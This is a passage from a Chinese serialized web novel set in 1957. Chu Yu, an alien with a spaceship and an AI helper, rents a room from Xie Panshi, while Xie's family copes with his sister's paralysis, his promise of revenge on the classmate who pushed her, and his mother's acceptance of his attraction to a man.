徐云川笑笑,“放心,这次不是公事,私事。来这边的传达室打个电话,通融通融。” 年轻公安立马松口气,“那有什么?电话就在桌上,徐团长您尽管用。” 徐云川道过一声谢,走上前打电话。 李培南则是熟门熟路,兜里掏出一盒中华牌香烟,给年轻公安递烟,勾肩搭背把人带出了传达室。 一时间,传达室只剩徐云川、楚虞和崔旭三人。 楚虞垂眸,面露好奇地看着桌上的老古董电话机,话筒、带数字孔的圆形拨号盘。 原来1957年的电话长这样? 只见徐云川拿起话筒,手指插入对应号码的孔洞,拨动号码盘到底部后松手,让转盘自动归位,反复循环数次,终于把电话拨了出去。 又过一会儿,对面的接电员接起电话,“同志你好,请问你找谁——” 徐云川打断道:“我是徐云川,帮忙去大院喇叭上喊一声,叫谢磐石迅速回电话。” “是徐团长啊,”接电员恰好认识他,“赶巧了,人都不在大院里,谢家陈家的人这会儿都在医院呢。” “哪家医院?” “三零一医院。” 三零一医院是解放军总医院,医疗条件出了名的好,但医院地址距离军区大院实在太远,家属院的人有个寻常的小病疼痛,门口的医务室就能解决。 徐云川渐渐皱紧了眉,“你有那医院的号码吗?” “有有有……” 接电员手忙脚乱翻找新印发的《京都市公用电话号薄》。 有了三零一医院的联系方式,徐云川折腾半晌,接通电话,又挂断,耐着性子等待对面去叫人。 过了足足十几分钟,电话终于拨了回来,话筒里传出一道音质劣质的男人嗓音,“找我有事?没事挂了。” 徐云川没好气:“……没事就不能找你了?咱们二十多年的革命友情就不值得电话里叙叙旧?” 谢磐石回他:“既然没事,挂了。” “哎等等,别挂,有人找你!”知道谢磐石没有太多耐心,徐云川没再磨蹭,把话筒递给了一旁的楚虞。 这期间楚虞已经无聊到在数办公桌上的木纹有几道了。 楚虞接过话筒,咳咳道:“谢磐石同志,你好,我是楚虞,请问你还记得我吗?” 话筒另一端的谢磐石明显怔楞一瞬:“记得,你是玫瑰花。” 楚虞:“……” 这年代的老古董话筒实在落后,传过来的音质太差不说,对面说话的声音一字一句清晰地漏音出来,叫身旁偷偷八卦的人都能听个清清楚楚。 听见“玫瑰花”的字眼,徐云川顿时收了脸上漫不经心的笑,目光冷冽瞄向楚虞。 他看来看去,看不出楚虞和玫瑰花有什么关联? 兴许是楚虞这张脸夺目耀眼,对谢磐石那奇奇怪怪的大脑认知而言,犹如玫瑰花一样好看? 似乎有点说不通。 在部队那么多年,文工团跳舞的年轻脸孔一个赛一个漂亮,这些年没听说谢磐石夸哪个女孩漂亮的像朵玫瑰花? 越来越不对劲了。 徐云川望过来的视线凉飕飕的。 楚虞瞪他一眼,对着话筒噼里啪啦道:“谢磐石同志,情况是这样的,我需要租房,碰巧看上了你的二楼花园洋房,至于你对租户的那些要求,我也都能满足。” 停顿一下,他认真问道:“你愿意把二楼空置的那间房租给我吗?” 话筒里突然没了声音,时而传来一阵沙沙的电流声。 楚虞顿时有点怀疑电话坏掉了。 过了数秒,才听到谢磐石语气迟疑的回应,“你是说,你要住我隔壁?” “是的!”楚虞斩钉截铁回答。 话筒另一端的谢磐石似乎有些犹豫,迟迟不说话。 然而他没有犹豫太久,很快又问楚虞:“你身旁有谁?崔家的人在吗?” 崔旭连忙应声,“在在在,哥,是我,崔旭!” 楚虞干脆把话筒递给他。 崔旭接过话筒,就听到另一头的谢磐石交代道:“把楼上三间房的钥匙都给他。” 这句话出来,楚虞眉头一跳,心想他要三 间房的钥匙干嘛…… 崔旭也诧异。 谢磐石当时出门急,考虑到这阵子他不在兴安县,万一赶上刮风下雨屋顶漏水,只怕房间里的东西都要遭殃。 于是他把自己住的两间房的钥匙也交给了崔家,拜托崔家在雷雨天的时候帮忙上去看一眼。 这就导致崔旭手里确确实实有二楼三间房的所有钥匙。 谢磐石道:“二楼空置的那间房太脏,要打扫卫生,一时半会住不进去。这些天我的房子空着也是空着,三把钥匙都给楚虞,让他搬进去睡我的床。” 崔旭看了眼身旁的楚虞,神情恍惚地点点头,“行,哥你放心,打扫卫生我们也能帮忙呢。” 谢磐石嗯了一声。 事说完了,电话似乎就要挂断,崔旭本能地把话筒交给楚虞。 楚虞一脸茫然地接过话筒,“唔……还有什么事要说吗?” “有,”谢磐石忽然出声,“这段时间我不在兴安县,你可以搬进我的房间,睡我的床。” 楚虞很感谢他的热情款待,冷酷无情拒绝,“倒也不必,我很快就能把隔壁房间收拾出来搬进去,没有其他事的话,就不多说了啊,挂了!” 不等对面的谢磐石回应,楚虞干脆利落啪的一声放下话筒,结束通话。 徐云川两眼震惊。 楚虞纳闷,“咋了?” 徐云川咬了咬牙,面露微笑:“……没事,你可以离开了,我还要在这边继续打电话。” 楚虞只觉莫名其妙,大大咧咧和徐云川挥手,“那我先走了啊,再见!” 说罢,他拉着崔旭迅速离开传达室,两人重新回到附近的花园洋房。 有了谢磐石的点头同意,楚虞顺利从崔旭手里拿到一把钥匙,租到了让o非常满意的花园洋房。 至于谢磐石住的那两间房的钥匙,他摆手拒绝,“这两把钥匙不用给我,我不需要。” 崔旭忐忑,“谢公安说了,三把钥匙都给你。” 楚虞再次拒绝,“真用不着,今晚我住招待所。明天早上我去矿上请假,腾出一天时间专门收拾房子置办家具,明晚我就能搬进来了!” 他不管崔旭怎么想,只拿了自己该拿的一把钥匙,脚步轻快离开花园洋房。 楚虞浑然不知,就在他离开公安局传达室的时候,徐云川唉声叹气,接到了谢磐石冰冷无情的回电。 “楚虞呢?他怎么能挂我电话?” 16.第 16 章 徐云川抹脸,“人已经走了,你冲我发火也没用啊。” 谢磐石沉默片刻,“那没事了,挂了。” “挂挂挂,就知道挂电话。”徐云川没好气,“你倒是说说你们全家老小都去了三零一医院是怎么回事?我听说朵朵那丫头出事,她住院了?” “……她骑着自行车,下坡的时候被同学推了一把,摔了。” 徐云川顿时心底咯噔一声,“人没事吧?” 谢磐石嗓音露出疲惫,“你觉得会没事吗?柳树沟那条坡咱们都知道,坡度高,底下还有一道深深的排水沟,她从坡上摔下来,连人带车摔进水沟里,当时人就晕过去了……” 一帮只会读书上学的高中生懂什么,哭的哭喊的喊,把附近的大人喊来,送到医院里,才知道事儿闹大了。 ——脊柱爆裂性骨折、脊髓断裂,要落下终身瘫痪的后遗症。 谢磐石闭了闭眼,“国内现有的医疗技术治不了,我爸连夜找了认识的外交官朋友,托朋友给莫斯科那边打了国际长途电话,几乎找遍了国外这方面的专家医生,都说没办法……” 徐云川极度震惊,想到从小到大跟在谢磐石屁股后头梳着麻花辫的小丫头,小丫头今年十六岁,高中还没毕业呢,怎么能接受这样残酷的现实? 他当即道:“磐子你别着急,我这边查完案子就立马回京,我们都能想办法,国外的医生治不了,国内还有传承五千年的中医呢。” “没用,”谢磐石摇头,“我找了钟老,他老人家也说没办法。” 钟老是京市出了名的老中医,据说祖上出过多名御医,医术传承了一代又一代,连他老人家都说没办法,更不用说其他中医了。 至此,所有人都已经无能为力。 挂断电话,谢磐石付了六分钱的传呼费,以及跨省通话时长七分钟,话费两块四。 公用电话处的接电员收了费,满脸同情地看向谢磐石,他也听见了通话内容,这才知道医院里正闹着绝食自杀的小姑娘是谢磐石的妹妹,听说名字叫什么陈朵朵。 难怪小姑娘不想活呢。 这事搁到他身上,他也不想活了。 谢磐石回到医院三楼,恰逢病房里传出熟悉的尖利哭喊声,他脚步一顿,急忙推门进去。 只见病床上的小姑娘生了一张瓜子脸,大眼睛白皮肤,是个标准的美人胚子。 但此时此刻小姑娘满脸惨白,双眼无神,脑袋上缠着渗血的绷带,腿上脚上满是摔跤刮擦留下的伤痕,正在谢母怀里剧烈挣扎尖叫。 谢母哭得停不下来,“朵朵乖,别喊,别喊,妈妈在呢,妈妈在这。” 谢母抱紧女儿,却被女儿发疯一样的挣扎不慎伤到,指甲划破皮肉,血珠立马渗了出来。 “朵朵!” 谢磐石看不下去,直接把人从谢母怀里夺出来,将陈朵朵胡乱扑腾挣扎的两只手禁锢住,“听着,你伤心难过,怎么哭怎么闹都行,冲着哥哥折腾,别折腾咱妈。” 陈朵朵似是听了进去,呆滞的眼睛看向谢母。 谢母急忙拽紧衣领,遮住了脖颈上被指甲划破的皮肉,“没事没事,朵朵身上还疼吗?” 听到这句,陈朵朵闭了眼,眼泪仿佛断了线的珍珠落下来,哀切的绝望与铺天盖地的阴影笼罩在她身上。 自从昨夜睁开眼醒过来,她便知道一辈子都毁了,下半身毫无知觉,两条腿仿佛和她断了联系,浑然不听使唤。 她脑袋抵着谢磐石的胸膛,止不住地低声哀求,“哥,让我死,求你了,让我死,别让我一辈子就这么躺在床上。” 话语里的绝望几乎让人落泪。 谢磐石心头悲恸,不由抱紧了他亲手养大的小姑娘,“为什么让你死?死了才是什么都没有了,你落到这个下场,害了你的人今天白天还在学校里读书上学,你要看着她不用付出任何代价吗?” 柳树沟坡度陡,骑自行车下坡不大安全,一般到了那,人都会从自行车上下来,推着自行车慢慢步行下坡。 陈朵朵又不傻,到了柳树沟,她本来就打算跳下自行车步行下坡,结果她没来得及刹车,后头有同学哈哈大笑。 不知是谁伸手推了自行车一把,让她毫无防备连人带车就这么狠狠摔了下去。 谢磐石低声道:“咱爸已经去找人算账了,你以为他现在为什么不在医院里?他去找你那些同学了,在场的人都不瞎,都看见是谁推了你……你那些同学要负责作证,把范红霞送进监狱去。” 范红霞便是陈朵朵一直以来玩得最要好的朋友,也是当时害陈朵朵摔下去的凶手。 听到这名字,陈朵朵呼吸越来越急促,言辞激动道:“她进了监狱坐牢又能怎么样呢?最多关个两三年就能出来,我呢,我这辈子站不起来了!” 谢磐石摸了摸她脑袋上缠的绷带,脸上神情温柔,说出来的话却让人不寒而栗,“傻姑娘,谁说进了监狱过几年就能安安稳稳出来呢?” 陈朵朵愣住了。 谢磐石面不改色,企图用仇恨激起她求生的斗志,“傻朵朵,这世上你见过的事情还太少,不知道人类这样复杂的群体在阴暗角落下有多少可怕的勾心斗角阴私手段。” 他在陈朵朵的耳边低声说:“只要你想让她死,哥哥就能让她一场病悄无声息死在牢里。” 陈朵朵浑身颤抖,“可是,可是范家不会善罢甘休……” “范家算什么,比得过你爸和你哥哥吗?别忘了咱爸也不是吃素的,你哥哥我和徐云川李培南好的穿同一条裤子,他两的命都是我捡回来的,不用我去说,徐家和李家更会站到你身后。” “所以,”谢磐石轻笑,“朵朵你在怕什么?” 陈朵朵眼眶通红,抬起头,和她哥目光对视,她只觉自己仿佛站在悬崖边上,往前走是万丈深渊,往后退……她低头呆呆地看向自己毫无知觉的双腿。 她还能往后退吗? 她的人生已经没有退路。 恨意在这一刻填满了她的胸腔,让她丧失理智。 她抓紧了她哥的衣袖,嗓音发狠:“哥,我不要她死,我只要她和我一样,半身不遂瘫痪在床上!” 谢磐石笑了,“行,那我知道以后该怎么做了。” 作为公平交换,他对陈朵朵提出要求,“为了以后能够亲眼看到范红霞的下场,你现在可以乖乖吃饭,吃药,然后闭上眼睛好好睡一觉吗?” 陈朵朵含着泪,重重点头。 谢磐石松口气,把小饭桌搬上床,床头放置许久的保温饭盒端过来,打开饭盒盖子,是他在医院门口国营饭店买来的鸡汤面条,简单易消化,又方便病人补充营养。 “你自己吃,还是我喂你?”他问。 “我自己吃。”陈朵朵倔强地说道。 她下半身失去知觉,但上半身好好的,两条胳膊也能动。 她自己配合地接过筷子,捞了一筷子滚烫的面条,吹了吹,低头乖乖吃面。 看着这一幕,谢母眼睫颤抖,大气都不敢出,就这么坐在她身旁,红了眼看着她乖巧吃饭。 吃完饭,谢磐石端来一杯温水,还有医生开的药,陈朵朵仍然乖乖吃药喝水,最后躺在床上,目光殷切地看向谢磐石。 谢磐石给她盖上薄被,面无表情,“看什么看?现在大院里所有人都盯着这桩子事,你哥没法动手,起码要等三个月之后再寻找机会,行不行?哥哥从来不骗你。” 陈朵朵嗯了一声,闭眼酝酿睡意。 她以为自己不会很快睡熟,却没想到吃的药有安眠成分,药物渐渐起了作用。 不多久,病房里响起一道均匀规律的呼吸声。 床边守着的谢磐石和谢母几乎同时卸下紧绷的弦,双双对视,都看见了彼此眼里的担忧与关切。 谢母眸光颤抖,想到刚才发生的一切,一双儿女就这么当着她的面低声密谋如何报复。 而她说不出任何阻止或者打断的话语。 她自认平生从未做过一件坏事,俯仰对得起天地,对得起组织,更对得起自己的良心。 但命运对她似乎格外的残酷。 先是年轻时参加革命,新婚丈夫在前线英勇牺牲,然后是刚刚出生的谢磐石被她匆忙之下托付非人,自幼被关在狗笼子里喂养,受苦受难整整三年。 三年后才被毫不知情的谢母崩溃绝望拯救出来。 那时的谢磐石极度不正常,体温持续高热,眼睛赤红,暴躁,听不懂人话,不吃熟食。 龇牙咧嘴见人就咬。 为了让谢磐石恢复正常,找回人类的认知,谢母狠心棍棒教育,她那时还很年轻,二十多岁,她一个人压不住、更管不住用四肢攀爬浑身上下充满野性的谢磐石。 更何况这不是一天两天的事,谢磐石这样糟糕的情况,需要长期管教长期镇压。 谢母慎重考虑三天,选择了二婚,在部队特意找了个身强体壮的壮硕男人,个头高,力气大,浑身肌肉,能压得住管得住狗崽子谢磐石,也就是谢母 如今的丈夫,陈朵朵她爸。 当时谢母找上门,直言她需要丈夫,谢磐石需要爸爸,两人可以迅速结婚共同组建家庭。 而她只有一个要求,希望二婚丈夫把谢磐石当做亲儿子养,尽心尽力,认真管教。 陈父欣喜如狂答应。 然后夫妻两人合伙棍棒教育,给谢磐石武力镇压,不许他脊背佝偻四肢攀爬,不许他见人就咬,必须让他学习说话。 学习认字,每天学认两个字才能吃饭。 为了纠正他已经习惯性佝偻的脊背,让他天天吊单杠,拉伸骨骼纠正体态,三四岁的小孩儿还在发育生长,完全有恢复过来的希望。 陈父黑着脸当坏人,执着擀面杖日日监督。 如此几年下来,总算把谢磐石掰回了人样,他身上那些奇奇怪怪的特征也渐渐消失了,身姿挺拔端正,说话说得噼里啪啦溜的飞起。 并且成功融入人类团体,有了一块玩耍的朋友,也可以正常读书上学了。 谢磐石九岁那年,谢母怀孕生下了陈朵朵,她存了心思,故意把闺女扔给放学回来的谢磐石照顾,想着由此勾起谢磐石的血脉亲情和当哥哥的责任心。 事实证明谢母这一招很成功。 陈朵朵的出现,在一定程度上拯救了谢磐石摇摇欲坠伪装出来的人性。 他小时候不懂,只知道必须伪装,不伪装就要挨打。陈父那擀面杖打下来,再凶的狗崽子都要乖乖趴地摇尾巴。 后来他觉得不必伪装了,人类社会不适合他,他可以回归山野。 但这个时候陈朵朵出现了,白白软软的小天使哭闹起来招人烦,但闭上眼睡觉的时候又十分可爱。 谢磐石觉得就这么伪装下去也不错。 有了父亲母亲全心全意的棍棒教育和陪伴,有了从小玩到大的好朋友,有了陈朵朵同母异父的血亲牵绊,有了从军保卫家国的经历,虽然后来出了意外再次犯病,退伍转业,但最后谢磐石还是过上了平平淡淡的正常人的生活。 谢母一度以为苦尽甘来,日子开始好起来了,结果陈朵朵突然出了事,落得个终身瘫痪。 谢母泪眼婆娑,抬起头,就听到对面的谢磐石开口冷静道:“等朵朵的外伤养得差不多,我计划带她回去兴安县。她这个样子一直住在医院没多大用处,出院了回家住,你和我爸平时上班忙,照顾不了她……” 谢母连连摇头,“不行,你带着她回去兴安县更不方便,在我这,我能照顾她,我回去就和上头提交辞职报告。” 说到这,她看了一眼谢磐石,自从谢磐石退伍转业调去兴安县,母子两一年到头见不了几次,她确实有些想儿子了。 “我和朵朵跟着你一块回兴安县,暂时住一阵子,这样也行。” 谁知谢磐石眼神飘忽,拒绝道:“不,我那里住不下你和朵朵。” 谢母以为他叛逆,走过去抽他,“你不是买了花园洋房二楼吗?三间房,你和我,还有朵朵,一人住一间,怎么住不下了?” “……我把空置的那间房租出去了。” “什么时候租出去的?” “半小时前。” 谢母顿时想起来他那会出去了一趟,说是徐云川打电话叫他。“你把房子租给徐云川了?” 谢磐石眼里露出笑意,“是另外一个人,你不认识。” 看见他脸上的笑意,谢母神情变得有些微妙,放轻了声音问:“租房的是个女孩子吗?” “是男孩。” “……”那还说什么,退租。 不等谢母开口,谢磐石嗓音困惑地问了一句,“妈,是男孩,就一定不可以吗?” 这话问得实在奇怪。 谢母不由提起了一颗心,抬起眸,和谢磐石充满了求知欲的眼神对上。 知子莫若母,她陡然意识到了什么,看向病房大门,门房紧闭。 她浑身颤抖,抓紧了谢磐石的肩膀,嗓音低不可闻,“你是说,你看上了一个男孩?” 谢磐石点点头,下一秒很认真地问:“但这样可以吗?” 当然不可以! 谢母心脏扑通扑通直跳,一时间顾不上关注病床上的陈朵朵,她坐到谢磐石身旁,情绪焦急又激动,欲言又止,企图说些什么。 说同性恋是精神病,是不正常,人人唾骂弃之。 但话到口中,她看到谢磐石一双充满困惑和信任的眼眸,仿佛她回答的这句话十分重要,重要到即将改变他今后的人生轨迹。 17.第 17 章 谢母忽然想起一件事,谢磐石今年已经二十五岁,这个年纪很年轻,但也不算小了,现在的年轻人结婚早,生孩子也早,拖到二十多岁已经是大龄单身了。 曾经她也很热衷给儿子拉媒牵线,故意安排了一场在俱乐部茶室喝茶的相亲局,但谢磐石看不上,回来很生气地告诉她不要再介绍新的女孩儿。 谢母追问原因,当时谢磐石语气很轻蔑地回答说,他认为世界上没有人配得上自己。 谢母:“……” 兴许是因为自幼在狗笼子里长大,脑子出了毛病认知错位,除去他认可的家人朋友以及少数人类,他平等地蔑视所有人,平等地认为人类低狗一等。 这样的认知,就导致他看不上任何人,更不可能存在坠入爱河结婚生子的经历。 那段时间谢母气得够呛,就知道他平时装得人模人样,实际上内里还是当初从狗笼子里抱出来的狗样儿,一根筋的犟种,不听人话。 想起过往,谢母气呼呼道:“你不是说世界上没有人类配得上你吗?人家是男的女的,可不可以,问这个有什么意义?总之您高贵物种都看不上呗。” 谢磐石没想到她还会阴阳怪气,沉默了一下,果断道:“那我不问了。” 谢母更生气了,“当然要问!你不问我这个当妈的,还能去问谁,还有谁愿意这么累死累活给你操心终身大事?” 谢磐石飞快地瞄她一眼,没敢说话。 谢母气呼呼,“你给我说说,你们进展到哪一步了?” “没有进展,刚认识。” “那,不是不可以。”谢母咬牙切齿,沉重回答,“就算是男孩,我也认了。” 不是高贵物种的狗媳妇就足够谢天谢地了。 她真怕将来有一天谢磐石养了只牛逼哄哄的撵山狗,带过来给她说这是他媳妇。 想到那场景,谢母简直要当场晕倒。 现在仅仅是搞个同性恋,物种还在人类范围内,她选择闭眼接受。 “只要你喜欢,对方也愿意,你们两情相愿就可以在一起,但有一点——” 她牢牢抓紧谢磐石衣袖,低声叮嘱,“你自己注意藏着点,别让外人发现了。同性恋、同性恋传出去影响不好,别人会认为这是精神病,会抓你进医院,把你关起来,你明白吧?” 谢磐石太明白了,一副很懂的模样点点头。 谢母顿时又想揍他了,“你从小到大在人前一直都装得很好,以后继续装下去,知道吗?” “……知道。” “以后,以后你确定了就是那男孩的话,把人带回来给妈见一见,妈妈可以认他当作干儿子,这样就算你俩住一块,也不会有人怀疑什么。” 谢磐石再度点点头。 谢母不放心地看他一眼,思绪万千,不知在盘算什么。 第二天早上回家拿换洗衣服的路上,谢母顺路去了一趟市图书馆,明面上借阅了几本康复病人护理书籍。 实际上也给公文包里偷塞了一本成年教育书——也就是书籍《性的知识》。 1955年版的《性的知识》,是建国后第一本有关性/知识的书籍,内容十分详实,比如,有男女/生/殖/器/官的剖面图,还介绍橡胶避/孕套的戴法。[注1] 理论上,找几本同性恋科普书籍,对谢磐石来说更有帮助。 但谢母基本上翻遍了市图书馆的所有书架,没能找到一本相关书籍…… 通过这一细节,她心情越发沉重,更加清楚当前的国情有多避讳同性恋了。若非她年轻时曾经出国留洋,见多识广,恐怕也不能轻易接受谢磐石的特立独行。 回到医院,谢母拉着谢磐石来到病房角落,脸色严肃把书交给他,“你自己看,妈只能帮你到这了,书看完了第一时间给我,我还要给图书馆还回去。” 谢磐石不理解,随意翻开一页,让人脸红心跳的交/合画面冲击力极强! 他默默合上书页:“……” 谢磐石表情一言难尽,他十几岁少年时期就已经被徐云川李培南带着一块看遍了十八式小黄书,这些他能不懂吗? 不过这种正规出版的科普书籍他确实没看过,多看看多学习理论知识,没坏处。 花开两朵,各表一枝。 飞船上,楚虞破天荒起了个大早,草草洗漱,端着一碟洗干净的刺莓子来到桌前,一边吃水果一边开始制定今天的房屋收拾计划,也就是采买清单。 已知目前急需采购的生活用品:至少两个搪瓷盆、三块毛巾、肥皂——还有牙刷牙膏搪瓷杯! 他自己在飞船上用的洗漱用品,都不能拿出去让人看见。 008进一步补充:“还要买铁皮炉子,烧水壶,锅碗瓢盆,煤球柴禾……” 楚虞统统写上去,越写越愁,“这些东西得花多少钱呐?我又不会开火做饭,锅碗瓢盆有必要买吗?” “必须买!”008警告他,“等房子收拾出来了,今晚开始你就睡那,非必要晚上不许再回飞船。” “凭啥?这还是我的飞船呢。” “楚虞同志!万一有人半夜或者大清早敲门找你,结果您在飞船上舒舒服服吹空调,是打算众目睽睽之下从外面出现吗?” “……” 说的很有道理的样子。 楚虞唉声叹气。 008继续完善采买计划,“床单凉席被褥枕头,全部都要买新的。不能把飞船上的床品用具搬下去,你也知道,来自星际时代的东西不太寻常,经不住细看,容易露馅。” 楚虞认命:“知道了知道了,买!” 做完了基本的采买清单计划,楚虞开始清点兜里的钱票。 现在他手头一共有现金四十块出头,两斤半的全国通用粗粮票,一两细粮票,一张工业券。 四十块钱嘛,买清单上的那些东西绰绰有余,毕竟这年代物价极低,可是问题来了,他手里没有足够的对应票券。 比如买毛巾床单被套都需要布票,买被子还要棉花票,买搪瓷盆烧水壶更需要不止一张工业券! 工业券倒是不难凑,只要是城镇上班的职工,月月都能领到一两张工业券。 真正难凑的大头,是布票和棉花票。 就楚虞查阅的资料而言,1957年棉纱棉布的产量上不来,不足以满足全国人民的需求,就导致布票稀缺,城镇居民布票每人每年三尺三。 要知道做一件衣裳至少需要八尺布,三尺三的布票都得攒三年。 所以老一辈之间有句话广为流传,新三年旧三年,缝缝补补又三年。 楚虞肉眼可见地发愁。 008安抚他,“别着急,咱们先去矿区请假一天,再去深山扫荡,赚钱赚票对小主人来说不难哒。” 楚虞叹气,低头收拾大书包,带上所有钱票,顺便给自己的保温杯灌了一大杯冰冰凉凉的蜂蜜水。 淮山二矿,机关办公区三楼。 早上八点整,楚虞刚进办公室,梁正新立马从工位上站了起来,像是等候多时。 “楚虞同志,就等你来了,今天陪我下矿井走一遭,咱们实地考察考察。” “……”楚虞脸色为难,“我正要跟你说呢,我租到合适的房子了,需要请假一天,收拾房间打扫卫生。” 梁正新压根没想到他这么快找到合适的房子,“租到了哪里?” “在公安局附近,新延路花园洋房!” 梁正新恍然,“我知道那条街,街上几乎都是红顶小洋楼,听说兴安县以前的大地主就住那……” 楚虞心想那不就是楼下的崔家吗?人人都骂大地主,看来地主成分的崔家确实不受欢迎。 梁正新想了想,一口答应道:“也行,既然你租到了房,就给你批一天假回去打扫。” 楚虞高兴地嗯嗯点头。 谁知下一秒,梁正新语气严肃道:“不过有一点要提前讲清楚,楚虞同志,在我这,请一天假就要扣一天工资,我这里有考勤表,到了月底会统一上报财务科。” 楚虞:“……” 楚虞笑容消失,“请一天假要扣多少钱啊?” 梁正新皱了皱眉,“你应该是临时工吧,一个月工资十八块,平均每月上班25天,差不多扣个……” 他低头在草稿纸上计算,很快得出结论,“请一天假扣工资七毛二。” 得知才扣七毛钱,楚虞立马点头,笑容重新回到脸上,“那行,您尽管扣啊,我回去收拾房子了。” 说罢,楚虞毫不犹豫逃离办公室,丝毫不心疼扣掉的工资。 他去山上摘刺莓子,随随便便摘一筐刺莓子,就能卖两块三块。 要不是为了明面上有个正规合法的经济来源,谁稀罕累死累活每天上班挣这点钱呢? 楚虞暗暗盘算了一下,临时工每月工资十八块,每天八小时、每周工作6天、周日公休……如此漫长的上班时间和少得可怜的工资对比,他怎么突然觉得这破班上的挺不值当呢? 真想哪一天辞职不干了。 算了,走一步看一步,以后有了更好的工作再跳槽。 出了矿区,楚虞直奔街道办公室,目标明确,“葛婶儿。” 葛翠芝笑意盈盈,“小楚同志,你不是跟着 梁技术员吗?今天不忙?” “我今天有事,刚和他请了一天假呢。” 说罢,楚虞拿出自己崭新的粮本和副食本,上面的具体住址还空着呢。 “葛婶儿,我的房子租下来了,需要您帮忙登记一下住处。在公安局附近,新延路花园洋房,唔,就是崔家住的那栋楼,二楼。” 楚虞没记住具体门牌号,想来街道办应该清楚。 听到他租了花园洋房,葛翠芝格外诧异,她是街道办主任,对附近街区的情况一清二楚。 崔家那栋花园洋房面积大,新式又气派,外头还有那么大的花园,当作自留地,随便弄点萝卜白菜黄瓜,平时做饭都不用出门买菜了。 人人都羡慕崔家的洋房呢。 去年崔家把二楼辟出来单独售卖,公开喊价三百块,另外还要搭五百斤的粮食,这粮食没指定具体要什么,凑五百斤红薯都行。 消息传出来,街坊邻居都炸了锅。 矿上就有没分到房的职工动了心思,计划合伙起来一家买一间房,还故意欺负崔家成分差,上门谈价格,话里话外想压价。 谁承想不知从哪里冒出来一个谢磐石,在房管所的见证下,爽快地付了三百块,十来个装满粮食的麻袋搬进崔家,就这么交易成功了。 听说当时矿上那三个企图压价的职工都看傻眼了,气得想闹事,一听到谢磐石是公安局的,个个都哑火了,窝窝囊囊离开现场。 葛翠芝想起当时听来的八卦就想笑,“小楚同志,我记得那二楼的房主是谢公安?” 楚虞点点头,“对,就是那,我租的是最里面第三间房。” 葛翠芝笑笑,“我知道呢。” 既然有了具体的住址,那这粮本副食本上的地址就不能空着了。 她拿了钢笔,给楚虞登记上去,另外在街道办住户登记册上,也填了一行上去。 弄完这些,楚虞重新拿回自己的粮本副食本,走出办公室,低头困惑地看了又看。 昨天他没顾得上打开细看,如今再看……先是粮本,上面写着他每个月粮食供应是14.45公斤? 一个月14.45公斤的粮食够吃吗?楚虞实在有些怀疑人生。 再往下看,粮米面的比例是7:2:1。粮指的是粗粮,米、面指的是细粮,粗粮票细粮票就是这么对应发放的。 见楚虞似乎不太懂,008忍不住科普,“这个理解起来很简单叭,小主人每个月一共可以领到10来斤的粗粮票,以及4斤出头的细粮票。” 在当下的粮店,一斤粗粮票能买一斤糙米,也能买五斤红薯,红薯耐吃,顶饱,是家家户户的首要选择。 细粮票就更好理解了,能拿去买饺子面、玉米面之类。下馆子吃饭也能用到细粮票。 因为楚虞先前在矿区食堂兑买了10天的饭票,因此,他本月14.45公斤的供应粮,被划去了5斤,下方用钢笔重新写了一串数字:9.45公斤。 楚虞:“……” 早知道矿上食堂的饭如此难吃,他就不浪费斤数兑饭票了! 可恶。 那他以后不在矿区食堂吃饭,剩下的粮票怎么领呢? 楚虞立马折返回去办公室,“葛婶儿……” 得知他的来意,葛翠芝笑了,以为他是头一回自己当家做主,不清楚这里面的常识。 “咱们街道办本来就是负责发放生活票证的啊,只不过现在都七月下旬了,一般都是月初发放当月的新票证呢。” 楚虞提醒道:“那我这个月还剩九斤多的粮票没领呢。” “小楚同志你放心,咱们街道办绝对少不了你的份儿,下个月月初一块儿给你发放!” 也就是说,现在无论如何就是领不到粮票,更不用提副食本上的肉蛋油票、肥皂票工业券、还有三寸布票! 楚虞死了心,垂头丧气离开办公室。 “小八,本地生活好难。” 008:“……” 008很同情地安慰他,“本月就剩十来天了,熬到下个月月初,就能一口气领到所有票证啦,再忍忍。” 楚虞掏出兜里折叠起来的采买清单,他还没忘记专门请假一天是要干什么呢。 要打扫房间,要置办基本的生活用品,想想就觉得好累。 楚虞叹气,“好多东西都要票,我没有票。” 008给他打气:“没事哒没事哒,冲啊,我们去山上挖山货!然后去黑市……咔!” 楚虞嘲笑它,“小八,你不能讲黑市这个词,你看,这又被咔了。” 008:“。” 18.第 18 章 远离人烟的深山之上,像是昨夜下过一场雨,空气潮湿了许多,有雾在山间弥漫。 飞船无声无息降落,某人再度开始了大扫荡。 “哇,有野兔。”楚虞激动。 008:“友情提示,野生动物可能携带寄生虫以及不知名感染病毒,建议不要猎杀售卖。” “……可是,之前在黑市上好像看见有人卖野猪肉呢。” “不管,总之你不许卖!” “好叭。” 又过一会儿,楚虞拿着小铲子,拍了拍地上圆墩墩的蘑菇脑袋。 “小八,这是蘑菇吗?能吃吗?” “好像能吃,稍等,008缺乏相关资料库,需要查一下当地农作物书籍。” 过去片刻,008欣喜回复:“查到了,这个是白菇,无毒,能吃!冲啊!采蘑菇的omega!” “……” 楚虞采了满满当当的三筐蘑菇,正要搬回飞船上,却因为走得太快没注意脚下,当即被一块石头狠狠绊倒,连人带筐摔得七零八落。 “小心!”008语气着急。 楚虞摔得有点懵,后知后觉爬起来,两只膝盖当场摔破了皮,很快,有红色的血渗到了裤子上。 楚虞感觉到火烧火燎的疼痛,抹了把眼泪,“小八。” 008的心都碎了,“小主人别哭,上飞船,里面有医疗舱呢,医疗舱照一照就好了。” 楚虞膝盖疼,只能慢吞吞地上去飞船,躺进医疗舱。 只见机械臂小心翼翼、动作灵巧地剪开他的裤腿,先是照光数秒,光疗中有麻药机制,待麻药起了作用,才开始清洗消毒伤口。 紧接着又是启动愈合光疗。 十分钟过去,楚虞两只膝盖上破皮流血的皮肉已然恢复如初。 008拍手,“好了好了,快下来继续干活。” 楚虞痛苦面具,“怎么受伤了还要干活啊?” “因为你已经好了!” “……” 兴安县城区,太阳渐渐高升,又是晴天万里无云。 火车站黑市再度迎来了一个熟悉的身影,戴着口罩围巾蒙着脸,躲到阴凉处角落。 五个大小不一的竹筐排排站,上面覆盖着厚厚的藤蔓绿叶,但从叶片缝隙之间,能清晰地看到里面装了什么。 有吊儿郎当的二流子插兜路过,脚步停顿,“这是白菇?” 楚虞重重点头,“是白蘑菇,野生蘑菇,山上新鲜摘的,便宜卖!” “怎么卖?” “不卖钱,你有票吗?工业券、布票、粮票,都可以换。” 见楚虞明显是个新来的摊主,那二流子索性蹲下了身,把五个竹筐里的东西都翻看了一眼。 不看不知道,一看吓一跳。 